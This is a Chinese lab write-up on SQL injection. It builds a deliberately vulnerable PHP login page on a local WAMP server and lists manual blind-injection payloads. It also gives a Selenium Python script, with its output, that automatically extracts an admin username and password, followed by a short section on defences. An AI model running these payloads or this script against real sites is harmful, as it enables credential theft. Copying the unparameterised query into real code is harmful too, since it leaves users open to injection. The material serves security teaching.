通过 SQL 注入攻击,掌握网站的工作机制,认识到 SQL 注入攻击的防范措施,加强对 Web 攻击的防范。

一、实验环境

下载所需代码及软件:获取链接:链接:https://pan.baidu.com/s/1CeSKujRFC2DzGx_xDwT8fQ 提取码:qlgr

(1) 下载并安装WAMP,文件夹下的wampserver2.2d32位

(2) 运行python漏洞利用脚本的环境,需要安装selenium库及浏览器对应的ChromeDriver版本

二、实验准备

(1)了解网站的运行机制和原理。

(2)了解 asp、php、jsp 或者 asp.net 语言的工作原理。

(3)熟悉数据库 SQL 语言。

(4)在 Internet 上搜索 SQL 注入的相关文章,学习 SQL 注入的原理和方法。

三、实验内容

通过模拟 SQL 注入攻击获得某网站后台登陆密码。

(1)通过本地服务器搭建模拟网站。

(2)测试其是否存在SQL注入漏洞,进行模拟攻击。

(3)获得后台数据库中的存储网站用户和密码的数据表。

(4)获得其中一对用户名和密码。

(6)用获得的用户名和密码验证是否能够登陆。

(7)为这个网站的SQL注入漏洞提出解决方案和防范方法。

(8)使用seleium库撰写python爬虫脚本,自动获取SQL管理员的用户名和密码。

四、WAMP服务器搭建步骤

1. 安装wamp,启动所有服务,“start all services”

2. 通过phpmyadmin,新建数据库test,创建admin管理员账号表,并添加相应的账户名和密码(或者可以直接导入admin.sql)

3. 将login.php和verify.phpf放入wamp的www文件夹

其中login.php如下:

<html>
<head>
<title>Sql注入演示</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head> <body >
<form action="verify.php" method="post">
<fieldset >
<legend>Sql注入演示</legend>
<table>
<tr>
<td>用户名:</td>
<td><input type="text" name="username"></td>
</tr>
<tr>
<td>密 码:</td>
<td><input type="text" name="password"></td>
</tr>
<tr>
<td><input type="submit" value="提交"></td>
<td><input type="reset" value="重置"></td>
</tr>
</table>
</fieldset>
</form>
</body>
</html>

verify.php如下:

<html>
<head>
<title>登录验证</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
<body>
<?php
$conn=@mysql_connect('127.0.0.1:3306','root','') or die("数据库连接失败!");
mysql_select_db("test",$conn) or die("您要选择的数据库不存在");//修改成数据名,此处为test
$name=$_POST['username'];
$pwd=$_POST['password'];
$sql="select * from admin where username='$name' and password='$pwd'";//修改成表名,此处为users
$query=mysql_query($sql);
$arr=mysql_fetch_array($query);
if(is_array($arr)){
echo "<script>alert('登录成功')</script>";
}else{
echo "您的用户名或密码输入有误,<a href=\"login.php\">请重新登录!</a>";
}
?>
</body>
</html>

浏览器打开http://localhost/login.php即可看到登录页面。

五、SQL注入的详细步骤

1. 验证存在SQL注入漏洞

用户名输入’ or 1=1#密码无论输入什么,均可以正确登陆:

原因是sql语句变成了:select * from admin where username='' or 1=1#' and password='123',任意数据库的记录都满足该条件,因此arr是有效的。

输入' and 1=1# 会返回账号错误,但是不会报错退出,因为sql语句仍然是有效的。

以上步骤确定了数据库存在SQL注入漏洞,并可以通过此漏洞进行用户名密码的获取。

2. 接下来可以猜测管理员帐号表

用户名填' or exists (select * from admin)#

SQL语句变成:select * from admin where username='' or exists (select * from admin)#'... 如果登陆成功,说明数据库中确实有对应的admin表格,而且很有可能是管理员帐号表。

在此列举可能的管理员账号表用于猜测:name_list = ['admin', 'admins', 'account', 'adminInfo', 'user', 'users', 'userInfo']

' and exists (select * from admin)# 也可以用来猜测,如果没有出现如下图的异常,说明数据库中确实有对应的表名

3. 接下来猜测表中字段

根据已有的表名admin进行猜测其可能有的字段,一般的管理员表格都是通过id, username, password来登陆的。

输入' and exists (select id from admin) #没有异常,即:select * from admin where username='' and exists (select id from admin)#' ... 可以执行,说明数据库中确实有id字段

同样的,可以猜测有password, username两个字段

4. 接下来确定用户名的长度

以下其他信息的获取与上面有所不同。因为使用查询不存在的表名与字段名,SQL语句均会报错,而查询不存在的用户名与密码时,SQL语句只会返回空的结果,于是exits语句返回为False。页面正常但返回用户名错误,只有将exist前的and换为or才能分辨两者的区别。

' or exists (select id from admin where id=4) # 选择可能存在的id号,能够正确登陆。

' or exists (select id from admin where length(username)<6 and id=4) # 用于猜测对应的用户名长度范围(可用2分法)

' or exists (select id from admin where length(username)=5 and id=1) # 用于精确猜测对应的用户名长度

5. 接下来确定用户名

' or 4=(select id from admin where mid(username,1,1)='d')# 截取用户名的第一位,猜测对应的值,相当于以下sql语句:

select * from admin where username='' and 4=(select id from admin where mid(username,1,1)='d')# ...

其中mid(username,1,1)表示截取username从第1位开始长度为1 的部分,即用户名的第一位,同样试出对应的第二位(mid(username,2,1))到第五位,是david,可用填入以下验证:

' or 1=(select id from admin where username='david')

6. 确定用户名对应的密码

同样的可以通过对应的id号码试出密码:anekeyzzz456。于是得到了后台的一个用户名和密码。

六、意外情况

1. sqli与sql不同

verify.php中$conn=@mysql_connect('127.0.0.1:3306','root','') or die("数据库连接失败!");若使用mysqli_connect就会出以下问题:

并不是因为数据库不存在,而是根本就没有正确连上数据库。经过修改以后,输入数据库中存在的admin/password能够正确登陆。

2. WAMP图标未由橙变绿,登陆时提示“数据库连接失败”

原因是WAMP数据库未启动,打开任务管理器>服务,打开相应的服务即可。注意安装过自己的mysql的需要关闭,详见WampServer中MySQL服务一直无法开启

3. 同时有多个用户名都满足要求

我们尝试select * from admin where username='' or 4=(select id from admin where mid(username,1,1)='d')#时,如果首字母开头为d的用户名有两个,则sql语句发生错误:

因为一个不可能与两个相等,这时,我们必须要设置id是后面的子集才能成功。所以使用到in:

七、源码及运行结果

使用python的selenium库进行自动化爬虫,按照以上步骤进行自动化尝试。

import time

from selenium import webdriver
from selenium.common.exceptions import NoAlertPresentException
from selenium.webdriver.chrome.options import Options class Webber:
interval = 0
chrome_options = Options()
chrome_options.add_argument('--headless')
alpha_dict = [chr(x) for x in list(range(97, 123))+list(range(65,91))+list(range(48,58))] def __init__(self, url):
self.url = url
self.driver = webdriver.Chrome()
self.driver.get(url) def get_path(self):
try:
return self.driver.find_element_by_name('username')
except:
return self.driver.find_element_by_name('user_login') def login(self):
self.driver.find_element_by_xpath('/html/body/form/fieldset/table/tbody/tr[3]/td[1]/input').click() def alert_is_present(self): # 弹窗代表登陆成功,否则进入异常或错误页面。注意返回正常登陆页面
try:
alert = self.driver.switch_to.alert
alert.accept()
return True
except NoAlertPresentException:
return False
finally:
self.roll_back() def roll_back(self):
self.driver.back()
time.sleep(web.interval) def try_value(self, value):
self.get_path().clear()
self.get_path().send_keys(value)
time.sleep(web.interval)
self.login()
time.sleep(web.interval)
return self.alert_is_present() def get_table_name(self):
name_list = ['admin', 'admins', 'account', 'adminInfo', 'user', 'users', 'userInfo']
for name in name_list:
if self.try_value("' or exists (select * from " + name + ")#"):
return name
return None def try_field_name(self, table, field):
return self.try_value("' or exists (select " + field + " from " + table + ")#") def get_field_name(self, table):
field_list = ['id', 'username', 'password', 'user_login', 'user_password']
list_ = []
for field in field_list:
if self.try_field_name(table, field):
list_.append(field) print("fields in table are: " + str(list_))
return list_ def has_id(self, table, id):
return self.try_value("' or exists (select id from " + table + " where id=" + id + ")#") # 尝试用户名的长度 [m,M] 之间
def try_field_length(self, table, id, m, M, field):
return self.try_value(
"' or exists (select id from " + table + " where id=" + id + " and length("+field+")>=" + str(m) + " and length("+field+")<=" + str(M) + ")#") def get_field_length(self, table, id, field):
m = 0
M = 100
assert self.try_field_length(table, id, m, M, field)
while m < M:
print(m, M)
mid = int((m+M)/2)
if self.try_field_length(table, id, m, mid, field):
M = mid
else:
m = mid + 1 assert m == M
return m def try_field_i(self, table, id, i, field):
for t in Webber.alpha_dict:
if self.try_value("' or "+id+" in (select id from "+table+" where mid("+field+","+str(i)+",1)='"+t+"')#"):
return t
raise Exception("no such alpha!") def get_field(self, table, id, length, field):
field_str = ""
for i in range(1, length+1):
print(i, end=': ')
ch = self.try_field_i(table, id, i, field)
print(ch)
field_str += ch
return field_str if __name__ == '__main__':
web = Webber('http://localhost/login.php')
time.sleep(web.interval) # 1. 验证存在SQL注入漏洞'
if not web.try_value("' or 1=1#"):
print("this website doesn't have sql")
else:
# 2. 接下来可以猜测管理员帐号表
table = web.get_table_name()
assert table
print('table name is: ' + table) # 3. 接下来猜测表中字段
assert {'id', 'username', 'password'} <= set(web.get_field_name(table)) # 4. 接下来确定用户名的长度
# 下面以 id =4 为例尝试其用户名与密码
assert web.has_id(table, '4')
l = web.get_field_length(table, '4', 'username')
print("length of username(4) is: " + str(l)) # 5. 接下来确定用户名
username = web.get_field(table, '4', l, 'username')
print("username(4) is: " + username) # 6. 确定用户名对应的密码
l = web.get_field_length(table, '4', 'password')
print("length of password(4) is: " + str(l))
password = web.get_field(table, '4', l, 'password')
print("password(4) is: " + password)

运行结果如下:运行代码进行暴力尝试,运行大概1分钟,获取了id=4对应的用户名 david以及密码anekeyzzz456

table name is: admin
fields in table are: ['id', 'username', 'password']
0 100
0 50
0 25
0 12
0 6
4 6
4 5
length of id(4) is: 5
1: d
2: a
3: v
4: i
5: d
username of id(4) is: david
0 100
0 50
0 25
0 12
7 12
10 12
length of id(4) is: 12
1: a
2: n
3: e
4: k
5: e
6: y
7: z
8: z
9: z
10: 4
11: 5
12: 6
password of id(4) is: anekeyzzz456

八、防范SQL注入的方案

当数据库对用户在客户端的输入字符或语句不加限制的读取到并执行时,就产生了sql注入漏洞,自然的当数据库对客户端的输入进行了相关的限制和过滤后,使用预处理和参数化,sql注入的风险会大大降低。

有以下几种基本的方法保护缓冲区免受SQL注入的攻击和影响:

(1)利用sql自身所带的转义函数,可以把获取到的客户端语句进行相应的转义。

(2)当然也可以进行过滤,既然测试者在构造payload时需要相关的字符,那将这些字符过滤掉确实是一种方法(比如将post请求中的%换成空,过滤注释符#)。

(3)在客户端和web 服务之间架一堵防火墙也不失为一种好的方法。一旦访问中存在恶意的字符就会被阻断掉。当然防火墙的设置并不代表后台服务器就允许存在sql注入漏洞,这两者是一种动态的关系需要同时推进。

正如上图所示,它会将前端输入的参数用占位符“?”来代替,并把这条语句结果先和数据库进行交付,再传参。而不是一起传进去。也就避免了不加节制的拼接前端语句

通过SQL注入获得网站后台用户密码的更多相关文章

  1. 利用SQL注入漏洞登录后台的实现方法

    利用SQL注入漏洞登录后台的实现方法 作者: 字体:[增加 减小] 类型:转载 时间:2012-01-12我要评论 工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读 ...

  2. 利用SQL注入漏洞登录后台

    所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询 ...

  3. 利用SQL注入漏洞登录后台的实现方法 。。。。转载

    一.SQL注入的步骤 a) 寻找注入点(如:登录界面.留言板等) b) 用户自己构造SQL语句(如:' or 1=1#,后面会讲解) c) 将sql语句发送给数据库管理系统(DBMS) d) DBMS ...

  4. 10年前,我就用 SQL注入漏洞黑了学校网站

    我是风筝,公众号「古时的风筝」,一个兼具深度与广度的程序员鼓励师,一个本打算写诗却写起了代码的田园码农! 文章会收录在 JavaNewBee 中,更有 Java 后端知识图谱,从小白到大牛要走的路都在 ...

  5. 使用SQLMAP对网站和数据库进行SQL注入攻击

    from:http://www.blackmoreops.com/2014/05/07/use-sqlmap-sql-injection-hack-website-database/ 0x00 背景介 ...

  6. SQL 注入

    我们的团队项目中有课程名称输入框,其中的内容会拼接到类sql查询语句中. 所以可能会产生类sql注入的问题,我们团队采用了利用正则表达式判断输入内容的形式来规避这类注入. 下面简单介绍一下sql注入 ...

  7. DEDECMS数据库执行原理、CMS代码层SQL注入防御思路

    我们在上一篇文章中学习了DEDECMS的模板标签.模板解析原理,以及通过对模板核心类的Hook Patch来对模板的解析流量的攻击模式检测,达到修复模板类代码执行漏洞的目的 http://www.cn ...

  8. 初识SQL注入

    什么是SQL注入(SQL Injection)? SQL注入是网站攻击途径之一,这里引用一下百度百科的解释:“所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串, ...

  9. 网络攻击技术:SQL Injection(sql注入)

    网络攻击技术开篇——SQL Injection   1.1.1 摘要 日前,国内最大的程序员社区CSDN网站的用户数据库被黑客公开发布,600万用户的登录名及密码被公开泄露,随后又有多家网站的用户密码 ...

随机推荐

  1. golang 性能优化分析:benchmark 结合 pprof

    前面 2 篇 golang 性能优化分析系列文章: golang 性能优化分析工具 pprof (上) golang 性能优化分析工具 pprof (下) 一.基准测试 benchmark 简介 在 ...

  2. 尝试做一个.NET简单、高效、避免OOM的Excel工具

    Github : https://github.com/shps951023/MiniExcel 简介 我尝试做一个.NET简单.高效.避免OOM的Excel工具 目前主流框架大多将资料全载入到记忆体 ...

  3. Go Protobuf(比xml小3-10倍, 快20-100倍)

    简介 Protocol Buffers是什么? protocol buffers 是一种灵活,高效,自动化机制的结构数据序列化方法-可类比 XML,但是比 XML 更小.更快.更为简单.你可以定义数据 ...

  4. [Fundamental of Power Electronics]-PART II-9. 控制器设计-9.2 负反馈对网络传递函数的影响

    9.2 负反馈对网络传递函数的影响 我们已经知道了如何推导开关变换器的交流小信号传递函数.例如,buck变换器的等效电路模型可以表示为图9.3所示.这个等效电路包含三个独立输入:控制输入变量\(\ha ...

  5. Kafka和Stream架构的使用

    Kafka的单节点运行 启动服务 Kafka 使用 ZooKeeper 如果你还没有 ZooKeeper 服务器,你需要先启动一个 ZooKeeper 服务器. 您可以通过与 kafka 打包在一起的 ...

  6. 如何以源码形式运行Nacos Server

    官方标准运行方式 下载解压可运行包 curl -O https://github.com/alibaba/nacos/releases/download/1.3.2/nacos-server-1.3. ...

  7. 在一些64位的glibc的payload调用system函数失败问题

    在一些64位的glibc的payload调用system函数失败问题 当我在做题的时候就发现一个奇怪的事情,我在ubuntu16.04运行成功的exp在ubuntu 18.04却报出了timeout: ...

  8. 【笔记】《Redis设计与实现》chapter8 对象

    8.1 对象的类型与编码 Redis中的每个对象都由一个redisObject结构表示,该结构中和保存数据有关的三个属性分别是type属性.encoding属性和ptr属性 typedef struc ...

  9. Spring Boot demo系列(九):Jasypt

    2021.2.24 更新 1 概述 Jasypt是一个加密库,Github上有一个集成了Jasypt的Spring Boot库,叫jasypt-spring-boot,本文演示了如何使用该库对配置文件 ...

  10. 通过Fiddler 远程 对 安卓手机 iPhone 苹果手机 访问请求抓包 Android IOS14.4 fiddler代理 无法联网

    Fiddler 中的设置 1 查看 Fiddler所在 电脑的内网 ip地址. (cmd  > ipconfig 查看本机ipv4地址) 2 Fiddler 设置 允许远程设备连接: Fiddl ...